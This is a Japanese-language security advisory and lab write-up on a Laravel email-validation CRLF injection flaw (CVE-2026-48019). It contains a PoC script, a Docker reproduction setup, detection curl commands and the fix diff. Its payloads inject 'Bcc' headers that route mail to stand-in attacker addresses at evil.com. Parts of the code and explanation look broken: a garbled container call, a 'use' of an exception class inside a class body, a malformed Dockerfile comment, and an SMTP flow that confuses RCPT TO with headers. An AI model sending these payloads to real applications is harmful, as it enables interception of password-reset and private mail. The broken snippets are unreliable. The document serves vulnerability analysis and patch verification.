CVE-2026-48019

CVE-2026-48019 Vulnerability Report

概要

項目 内容
CVE番号 CVE-2026-48019
GHSA GHSA-5vg9-5847-vvmq
公開日 2026-06-01
最終更新 2026-06-01
CVSS v3.1 8.9 (High)
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CVSS v4.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U/U:Green
CWE CWE-93 (Improper Neutralization of CRLF Sequences)
EPSS 【情報不足】(FIRST EPSS APIに未登録 — 新規CVEのため)
CISA KEV なし (現在のところ確認されていない)
発見者 @OmarXtream
関連CVE Symfony CVE-2026-45067 (symfony/mimeのCRLFインジェクション)

影響を受けるソフトウェアおよびバージョン

製品 影響を受けるバージョン 修正バージョン
laravel/framework (Composer) < 12.60.0 >= 12.60.0
laravel/framework (Composer) <= 13.9.0 >= 13.10.0
symfony/mime (間接依存) 修正前のバージョン CVE-2026-45067修正版

技術詳細

脆弱性の概要

Laravel Frameworkのデフォルトメールアドレス検証ルールにおいて、CRLF(\r\n)文字列の無効化が不十分であるため、細工されたメールアドレスがバリデーションを通過する。この脆弱性は、Laravelが使用するegulias/email-validatorライブラリ(RFC準拠のバリデーター)とSymfony Mimeの相互作用に起因する。

RFC 5322では、メールアドレスのローカルパートをダブルクォートで囲む場合、特殊文字(スペース、CRLF含む)を含めることが許可されている。egulias/email-validatorRFCValidationはこの仕様に準拠しており、quoted-string内の\r\nを正当な文字として受け入れる。しかし、このメールアドレスがSymfony MimeのAddressコンストラクタ(pre-patch)に渡されると、SMTP送信時にCRLFがヘッダー終端として解釈され、意図しないヘッダー(Bcc, X-Header等)のインジェクションが可能となる。

根本原因

脆弱性は以下の2つのレイヤーの相互作用に存在する:

レイヤー1: Laravelのバリデーター (egulias/email-validator)

// src/Illuminate/Validation/Concerns/ValidatesAttributes.php (v12.59.0 - 脆弱)
public function validateEmail($attribute, $value, $parameters)
{
    if (! is_string($value) && ! (is_object($value) && method_exists($value, '__toString'))) {
        return false;
    }

    // デフォルトでRFCValidationが使用される
    // egulias/email-validatorのRFCValidationはRFC 5322に厳密準拠
    // → quoted-string内の\r\nを「正当なRFC準拠」としてPASS
    $validations = (new Collection($parameters))
        ->unique()
        ->map(fn ($validation) => match (true) {
            $validation === 'strict' => new NoRFCWarningsValidation(),
            $validation === 'dns' => new DNSCheckValidation(),
            $validation === 'spoof' => new SpoofCheckValidation(),
            $validation === 'filter' => new FilterEmailValidation(),
            $validation === 'filter_unicode' => FilterEmailValidation::unicode(),
            is_string($validation) && class_exists($validation) => $this->container->make($validation),
            default => new RFCValidation(),  // ← ここが問題
        })
        ->values()
        ->all() ?: [new RFCValidation];

    $emailValidator = Container::getInstanceclass;
    return $emailValidator->isValid($value, new MultipleValidationWithAnd($validations));
}

レイヤー2: Symfony Mime Addressコンストラクタ

// Symfony Mime Address.php (pre-patch)
public function __construct(string $address, ?string $name = null)
{
    // pre-patch: CRLFチェックがない → 細工されたアドレスをそのまま保存
    $this->address = $address;
    $this->name = $name;
}

なぜPHPのfilter_varは関係ないのか

PHPのfilter_var($email, FILTER_VALIDATE_EMAIL)は、quoted-string内の\r\nを拒否する。しかし、Laravel 12.xのデフォルトemailルールはfilter_varではなくegulias/email-validatorRFCValidationを使用するため、この保護は適用されない。

攻撃フロー

Step 1: 攻撃者が細工されたメールアドレスをHTTPリクエストで送信
  POST /contact
  email: "admin\r\nBcc: hacker@evil.com"@target.com

Step 2: Laravelバリデーション通過
  ValidatesAttributes::validateEmail()
  → egulias/email-validator RFCValidation
  → RFC 5322準拠: quoted-string内の\r\nは正当
  → PASS ✓ (ここが脆弱)

Step 3: メール送信処理
  → Laravel MailerがAddressオブジェクトを生成
  → Symfony Mimeがアドレスをそのまま保持
  → SMTPトランスポートが送信

Step 4: SMTPサーバーが受信する内容
  RCPT TO:<"admin
  Bcc: hacker@evil.com"   ← ヘッダーインジェクション!
  @target.com>

Step 5: 結果
  ✅ admin@target.com にメールが届く
  ✅ hacker@evil.com にBCCコピーが届く
  ✅ 攻撃者はパスワードリセットトークン、通知メール、機密情報を入手可能

トリガー条件

PoC/Exploitの状況

項目 状況
公開PoC なし (ExploitDB, Metasploit, GitHub PoC repos 未確認)
Metasploitモジュール なし
Exploit成熟度 PoC (本検証でDocker環境上でのHTTP経由再現確認済み)
信頼できるリポジトリ なし

実被害・インシデント

現在のところ、CVE-2026-48019に特化した実被害事例は確認されていない。ただし、CRLFインジェクションによるSMTPヘッダー操作は理論的に可能であり、攻撃が成功した場合はパスワードリセットトークンの窃取、機密メールの傍受、メールサーバーのリレー悪用等の被害が考えられる。

検出方法

ブラックボックステスト

テスト用リクエスト・ペイロード

# 脆弱性テスト用リクエスト
curl -X POST https://target-app/api/contact \
  -H "Content-Type: application/json" \
  -d '{"email": "\"test\r\nBcc: attacker@evil.com\"@target.com", "message": "test"}'

判定基準:

WAFバイパス技法

現時点で公開されたCVE-2026-48019に特化したWAFバイパス手法は確認されていない。

バージョン特定手法

# composer.lock確認
grep '"name": "laravel/framework"' composer.lock -A 3
# または
php artisan --version  # Laravel 12.xの場合

ホワイトボックステスト

ソースコード上の脆弱パターン

# 脆弱なバリデーターの実装を確認
grep -n "preg_match.*\\\\r\\\\n" vendor/laravel/framework/src/Illuminate/Validation/Concerns/ValidatesAttributes.php
# 上記grepが何も返さない → 脆弱 (v12.59.0以前)
# 上記grepがマッチする → 修正済み (v12.60.0以降)

対策

恒久的対策

暫定対策・軽減策

バリデーションルールの変更:

// ❌ 脆弱 (デフォルトRFCValidation)
'email' => 'required|email',

// ✅ 安全 (PHP filter_varを使用)
'email' => 'required|email:filter',

カスタムミドルウェアでのCRLFチェック:

if (preg_match('/[\r\n]/', $request->input('email'))) {
    abort(400, 'Invalid email format');
}

修正パッチ詳細

修正コミット: commit 96e9a663db657cf37ef26cd794fda8ff60eaa451 by taylorotwell ("port fix")
変更ファイル数: 3ファイル + テストファイル2ファイル
変更行数: +105行, -15行

1. ValidatesAttributes.php (バリデーター)

// ❌ v12.59.0 (脆弱)
public function validateEmail($attribute, $value, $parameters)
{
    if (! is_string($value) && ! (is_object($value) && method_exists($value, '__toString'))) {
        return false;
    }

    $validations = (new Collection($parameters))
        ->unique()
        ->map(fn ($validation) => match (true) {
            // ... RFCValidation等
        });
    // ...
}

// ✅ v12.60.0 (修正)
public function validateEmail($attribute, $value, $parameters)
{
    if (! is_string($value) && ! (is_object($value) && method_exists($value, '__toString'))) {
        return false;
    }

+   if (preg_match('/[\r\n]/', (string) $value) > 0) {
+       return false;  // ← CRLFを含む場合は即座に拒否
+   }

    $validations = (new Collection($parameters))
        ->unique()
        ->map(fn ($validation) => match (true) {
            // ...
        });
    // ...
}

2. Mailables/Address.php (アドレスコンストラクタ)

// ❌ v12.59.0 (脆弱)
class Address
{
    public function __construct(string $address, ?string $name = null)
    {
        $this->address = $address;
        $this->name = $name;
    }
}

// ✅ v12.60.0 (修正)
class Address
{
+   use InvalidArgumentException;
+
    public function __construct(string $address, ?string $name = null)
    {
+       if (preg_match('/[\r\n]/', $address) > 0) {
+           throw new InvalidArgumentException(
+               'Email addresses may not contain line break characters.'
+           );
+       }
        $this->address = $address;
        $this->name = $name;
    }
}

3. Message.php (メール送信メソッド)

すべてのアドレス処理メソッド(from(), sender(), returnPath(), to(), cc(), bcc())が新しいヘルパーメソッド経由にリファクタリング:

// 追加されたヘルパーメソッド
protected function createAddress($address, $name = null)
{
    $this->ensureAddressIsSafe($address);
    return new Address($address, (string) $name);
}

protected function ensureAddressIsSafe($address)
{
    $addressString = $address instanceof Address ? $address->getAddress() : $address;
    if (is_string($addressString) && preg_match('/[\r\n]/', $addressString) > 0) {
        throw new InvalidArgumentException('Email addresses may not contain line break characters.');
    }
    return $address;
}

protected function ensureAddressesAreSafe(array $addresses)
{
    return array_map(fn ($address) => $this->ensureAddressIsSafe($address), $addresses);
}

PoCスクリプト (実環境検証)

脆弱なLaravel 12.59.0と修正された12.60.0の両方で、実際のフレームワークのバリデーターを使用して検証済み。

検証環境

検証結果

バージョン "admin\r\nBcc:hacker@evil.com"@t.com test@example.com 判定
Laravel 12.59.0 PASS ✓ PASS ✓ ⚠️ 脆弱
Laravel 12.60.0 BLOCK ✗ PASS ✓ 修正済み
Symfony Mime (最新) BLOCK ✗ ✅ 修正済み

実際の検証出力 (脆弱版: Laravel 12.59.0)

Docker HTTP経由テスト

# 脆弱版コンテナ起動
docker run -d --name cve-2026-48019-vuln -p 8899:8000 cve-2026-48019:vulnerable

# 攻撃ペイロード送信 (HTTP POST /test)
curl -X POST http://localhost:8899/test \
  -H "Content-Type: application/json" \
  -d '{"email": "\"admin\r\nBcc: hacker@evil.com\"@target.com"}'

検証結果 (脆弱版 Laravel 12.59.0):

{
  "email_raw": "\"admin\r\nBcc: hacker@evil.com\"@target.com",
  "email_hex": "2261646d696e0d0a4263633a206861636b6572406576696c2e636f6d22407461726765742e636f6d",
  "has_crlf": true,
  "validation_passed": true,
  "laravel_version": "12.59.0",
  "cve_status": "VULNERABLE"
}

検証結果 (修正版 Laravel 12.60.0):

{
  "email_raw": "\"admin\r\nBcc: hacker@evil.com\"@target.com",
  "email_hex": "2261646d696e0d0a4263633a206861636b6572406576696c2e636f6d22407461726765742e636f6d",
  "has_crlf": true,
  "validation_passed": false,
  "laravel_version": "12.60.0",
  "cve_status": "SAFE"
}

検証結果マトリックス:

バージョン CRLFペイロード 通常メール 判定
Laravel 12.59.0 (Docker) PASS ✓ PASS ✓ ⚠️ 脆弱
Laravel 12.60.0 (Docker) BLOCK ✗ PASS ✓ 修正済み
Symfony Mime (最新) BLOCK ✗ ✅ 修正済み
poc.php — 全文
<?php
/**
 * CVE-2026-48019 Proof of Concept
 * Laravel Framework CRLF Injection in Default Email Rule
 *
 * This script bootstraps the ACTUAL Laravel framework
 * and tests the real validateEmail() method from ValidatesAttributes trait.
 *
 * Environment: Laravel 12.59.0 (vulnerable) + Symfony Mime (pre-patch)
 * Run: php poc.php
 */

require __DIR__ . '/vendor/autoload.php';

use Illuminate\Container\Container;
use Illuminate\Translation\ArrayLoader;
use Illuminate\Translation\Translator;
use Illuminate\Validation\Factory as ValidatorFactory;
use Symfony\Component\Mime\Address;

function green($s) { return "\033[32m{$s}\033[0m"; }
function red($s)   { return "\033[31m{$s}\033[0m"; }
function yellow($s){ return "\033[33m{$s}\033[0m"; }
function cyan($s)  { return "\033[36m{$s}\033[0m"; }
function bold($s)  { return "\033[1m{$s}\033[0m"; }

echo "\n";
echo bold("CVE-2026-48019: Laravel CRLF Injection PoC\n");
echo "Laravel " . \Illuminate\Foundation\Application::VERSION . "\n";

$container = new Container();
$loader = new ArrayLoader();
$translator = new Translator($loader, 'en');
$container->instance('translator', $translator);
$validatorFactory = new ValidatorFactory($translator, $container);

$testPayloads = [
    ["email" => "\"admin\r\nBcc: hacker@evil.com\"@target.com",
     "label" => "CRLF in quoted-string local-part (Bcc injection)"],
    ["email" => "user\r\nBcc:evil@evil.com",
     "label" => "CRLF before @domain (header injection)"],
    ["email" => "test@example.com",
     "label" => "Normal email"],
];

foreach ($testPayloads as $test) {
    $email = $test["email"];
    $label = $test["label"];
    $validator = $validatorFactory->make(
        ['email' => $email],
        ['email' => 'email']
    );
    $isValid = $validator->passes();
    $hasCRLF = strpos($email, "\r\n") !== false;

    $status = $isValid ? green("PASS") : red("BLOCK");
    $crlfMark = $hasCRLF ? yellow(" [CRLF]") : "";
    echo "{$label}{$crlfMark}: {$status}\n";

    if ($hasCRLF && $isValid) {
        echo "  ⚠ VULNERABLE: CRLF payload passed validation!\n";
    }
}

// Test Symfony Mime
try {
    $addr = new Address("\"admin\r\nBcc: hacker@evil.com\"@target.com");
    echo red("Symfony Mime ACCEPTED CRLF\n");
} catch (InvalidArgumentException $e) {
    echo green("Symfony Mime REJECTED CRLF: " . $e->getMessage() . "\n");
}

再現環境

Dockerによる脆弱環境構築 (推奨)

本検証では、ホスト環境を汚さないDockerコンテナ上で脆弱性を再現した。

脆弱版の構築

FROM php:8.3-cli
RUN apt-get update && apt-get install -y git unzip libzip-dev curl \
    && docker-php-ext-install zip \
    && curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \
    && rm -rf /var/lib/apt/lists/*
WORKDIR /app
RUN composer init --name=lab/vulnerable --no-interaction \
    && composer config audit.block-insecure false
# 脆弱なLaravel 12.59.0をインストール
RUN composer require laravel/framework:12.59.0 --no-audit --ignore-platform-reqs
EXPOSE 8000
CMD ["php", "-S", "0.0.0.0:8000", "-t", "/app", "server.php"]
# ビルド
docker build -t cve-2026-48019:vulnerable .

# 起動
docker run -d --name cve-2026-48019-vuln -p 8899:8000 cve-2026-48019:vulnerable

# 検証 (HTTP POST経由)
curl -X POST http://localhost:8899/test \
  -H "Content-Type: application/json" \
  -d '{"email": "\"admin\r\nBcc: hacker@evil.com\"@target.com"}'

修正版の構築

# Dockerfileの1行を変更
# FROM composer require laravel/framework:12.60.0 --no-audit --ignore-platform-reqs

docker build -f Dockerfile.patched -t cve-2026-48019:patched .
docker run -d --name cve-2026-48019-patched -p 8898:8000 cve-2026-48019:patched

# 同じペイロードで検証 → BLOCKされることを確認
curl -X POST http://localhost:8898/test \
  -H "Content-Type: application/json" \
  -d '{"email": "\"admin\r\nBcc: hacker@evil.com\"@target.com"}'

注意 (Pitfall 37): Composer 2.x+はデフォルトで既知の脆弱性パッケージをブロックするため、composer config audit.block-insecure falseおよび--no-auditフラグが必要。

バージョン確認

curl -s http://localhost:8899/test -X POST -H "Content-Type: application/json" -d '{"email":"test@example.com"}' | grep laravel_version
# → "laravel_version": "12.59.0"

検証用サーバーコード (server.php)

server.php — Docker内HTTPテストサーバー全文
<?php
require __DIR__ . '/vendor/autoload.php';
use Illuminate\Container\Container;
use Illuminate\Translation\ArrayLoader;
use Illuminate\Translation\Translator;
use Illuminate\Validation\Factory as ValidatorFactory;

$container = new Container();
$loader = new ArrayLoader();
$translator = new Translator($loader, 'en');
$container->instance('translator', $translator);
$validatorFactory = new ValidatorFactory($translator, $container);

$request_uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
if ($request_uri === '/test' && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = json_decode(file_get_contents('php://input'), true);
    $email = $input['email'] ?? '';
    $validator = $validatorFactory->make(
        ['email' => $email], ['email' => 'email']
    );
    $isValid = $validator->passes();
    $hasCRLF = strpos($email, "\r\n") !== false;
    header('Content-Type: application/json');
    echo json_encode([
        'email_raw' => $email,
        'email_hex' => bin2hex($email),
        'has_crlf' => $hasCRLF,
        'validation_passed' => $isValid,
        'laravel_version' => \Illuminate\Foundation\Application::VERSION,
        'cve_status' => $hasCRLF && $isValid ? 'VULNERABLE' : 'SAFE',
    ], JSON_PRETTY_PRINT);
    exit;
}
http_response_code(404);
echo json_encode(['error' => 'Not found']);

変更履歴

日付 変更内容
2026-06-03 初版作成: NVD/JVN/CISA/EPSS確認済み、実環境PoC検証済み、修正diff分析済み

参考資料

公式情報源

関連脆弱性

PoC/Exploit

技術分析

HTML版レポート